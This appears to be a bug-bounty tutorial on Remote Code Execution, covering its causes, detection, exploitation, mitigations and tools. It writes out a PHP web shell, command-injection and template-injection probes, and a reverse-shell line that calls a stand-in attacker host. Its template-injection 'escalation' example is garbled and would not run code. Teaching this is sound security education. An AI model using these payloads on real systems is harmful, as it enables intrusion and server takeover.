Remote Code Execution (RCE)

Remote Code Execution (RCE) is a critical vulnerability that allows an attacker to execute arbitrary code on a remote server or machine. When successfully exploited, RCE can lead to a full compromise of the system, giving the attacker control over the affected environment.

How RCE Works:

RCE occurs when an application processes user input in a way that allows the input to be executed as code. This can happen due to improper handling of user input, unsanitized data being passed to functions that execute code, or flaws in the application logic that inadvertently allow code execution.

Common Sources of RCE Vulnerabilities:

1. Command Injection: Occurs when an application passes user input to system commands without proper sanitization.
2. Deserialization Flaws: Vulnerabilities in how applications deserialize data can lead to arbitrary code execution if the input isn’t properly validated.
3. File Uploads: Uploading malicious files that are executed by the server (e.g., PHP, JSP, or Python scripts).
4. Insecure Object Handling: Using dynamic code execution functions like eval(), exec(), or similar functions with user-supplied data.
5. Server-Side Template Injection (SSTI): Exploiting a template engine to execute arbitrary code on the server.

How to Find RCE Vulnerabilities:

1. Identify User Inputs: Look for places where user input is passed to the backend for processing, such as form fields, query parameters, headers, or file uploads.
2. Test for Command Injection:
   • Basic Test: Inject command separators like ;, &&, or | followed by a benign command (ping, whoami) and see if you get a response.
   • Example: username=admin;whoami
   • If the output of whoami is returned, it indicates an RCE vulnerability.
3. Inspect File Upload Features:
   • Upload a Script: Try uploading a file with executable code (e.g., PHP or Python script) and then attempt to access that file via a browser.
   • Example: Upload a file named shell.php with the content <?php system($_GET['cmd']); ?>.
   • Access the file: http://target.com/uploads/shell.php?cmd=whoami
4. Test Deserialization:
   • Look for instances where serialized data is being processed.
   • Use tools like ysoserial to craft payloads that trigger code execution when deserialized.
5. Check for SSTI:
   • Inject payloads into template fields.
   • Example payloads: {{7*7}}, ${7*7}, <%= 7*7 %> depending on the template engine.
   • If the output 49 is returned, the template is vulnerable, and you can escalate to more harmful payloads.

Exploiting RCE:

1. Command Injection:
   • If you identify command injection, you can escalate it by chaining commands.
   • Example: ; nc -e /bin/bash attacker.com 4444
2. File Upload:
   • Upload a web shell or a reverse shell script.
   • Access the script via a browser to execute commands on the server.
3. Deserialization:
   • Craft malicious serialized objects that execute code when deserialized by the application.
4. Server-Side Template Injection:
   • Use the template language’s syntax to execute commands on the server.
   • Example: {{' '.join([c for c in 'import os; os.system("id")'])}}

Mitigation Techniques:

1. Input Validation and Sanitization: Never trust user input. Use whitelisting for input validation, and sanitize inputs before processing them.
2. Least Privilege Principle: Run applications with the least privileges necessary to limit the impact of an RCE.
3. Disable Dangerous Functions: Disable or limit the use of functions like eval(), exec(), system(), and others that execute code.
4. Use Secure Deserialization: Avoid using native deserialization of untrusted data. Implement security controls or use safe libraries.
5. Employ WAFs and RASP: Use Web Application Firewalls (WAFs) and Runtime Application Self-Protection (RASP) to detect and block malicious inputs.

Tools for Finding RCE:

• Burp Suite: Can be used to inject payloads and identify responses indicating code execution.
• OWASP ZAP: A similar tool to Burp, useful for automated testing.
• Metasploit: For creating and deploying RCE payloads, especially useful for command injection and file upload attacks.
• ysoserial: A tool for generating payloads to exploit deserialization vulnerabilities.

RCE vulnerabilities are highly severe, and finding one during a bug bounty hunt can lead to significant rewards, as they often result in full system compromise.